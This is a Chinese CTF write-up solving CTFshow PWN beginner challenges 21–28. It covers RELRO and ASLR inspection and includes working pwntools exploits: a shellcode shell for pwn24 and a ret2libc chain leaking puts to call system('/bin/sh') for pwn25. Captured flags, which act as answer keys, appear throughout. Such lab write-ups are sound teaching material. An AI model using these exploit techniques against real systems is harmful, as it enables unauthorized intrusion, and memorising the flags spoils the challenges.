CTFSHOW-PWN入门-前置基础(21-28)

5 篇文章 0 订阅

pwn21

QQ20240802-080929

先使用checksec查看,Partial RELRO表示.got不可写而.got.plt可写

QQ20240802-081200

查看地址

readelf -S pwn

.got的地址为0x600ff0,.got.plt的地址为0x601000

QQ20240802-081224

flag:ctfshow{0_1_0x600ff0_0x601000}

pwn22

QQ20240802-081400

先使用checksec查看,FullRELRO表示.got不可写.got.plt也不可写

QQ20240802-081510

查看地址

readelf -S pwn

.got的地址为0x600fc0

QQ20240802-081557

flag:ctfshow{0_0_0x600fc0}

pwn23

QQ20240802-082030

ctfshow函数中的strcpy函数存在栈溢出,我们尽可能输入多的字符使其溢出

QQ20240802-082114

QQ20240802-082126

连接靶机后,在pwnme后加上输入的字符,得到flag

QQ20240802-212352

flag:ctfshow{8559f5b9-c712-41f6-a8d7-732088857cb7}

pwn24

QQ20240802-082853

题目提示使用pwntools的shellcraft模块来进行攻击,因此直接编写exp

from pwn import *
p = remote("pwn.challenge.ctf.show",28311)
payload = asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

拿到shell,得到flag

QQ20240802-083138

flag:ctfshow{af31e31c-4458-4d58-a563-b2e8207c7ca9}

pwn25

QQ20240802-083231

先使用checksec查看文件信息,32位程序,开启部分RELRO保护和NX保护

QQ20240802-083539

使用IDA反编译,看到读入的buf为132个长度,而read()函数限制我们读入的长度为256个长度,所以ctfshow()函数存在栈溢出。

QQ20240802-084212

使用cyclic计算栈偏移量,得出栈偏移量为140

QQ20240802-084551

QQ20240802-084601

使用objdump查看plt表中的函数,我们看到plt表中有puts函数也有write函数,这里我们使用puts函数来输出函数的内存地址。

QQ20240802-084656

exp如下:

from pwn import *
from LibcSearcher import *

context(arch='i386',os='linux',log_level='debug')
elf = ELF('./pwn')
p = remote("pwn.challenge.ctf.show",28248)  

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ctfshow_addr = elf.symbols['ctfshow']
payload0 = b'a' * 140 + p32(puts_plt)+p32(ctfshow_addr)+p32(puts_got)
p.sendline(payload0)

puts_addr = u32(p.recv(4)) 
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = b'a' * 140 + p32(system_addr) + b'a'*4 + p32(binsh_addr)

p.sendline(payload)
p.interactive()

getshell,拿到flag

QQ20240802-085315

flag:ctfshow{6344406d-3bee-4a94-827e-90f4fb5944e8}

pwn26

QQ20240802-085803

根据题目提示,修改ASLR参数值即可得到flag

QQ20240802-102611

sysctl -w kernel.randomize_va_space=0

QQ20240802-102337

flag:ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}

pwn27

QQ20240802-162921

根据题目提示,修改ASLR参数值即可得到flag

QQ20240802-163324

sysctl -w kernel.randomize_va_space=0或者

sysctl -w kernel.randomize_va_space=1

QQ20240802-163341

flag:ctfshow{0x400687_0x400560_0x603260}

pwn28

QQ20240802-205541

修改ASLR参数值为0即可得到正确的flag

sysctl -w kernel.randomize_va_space=0

QQ20240802-205810

flag:ctfshow{0x400687_0x400560}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值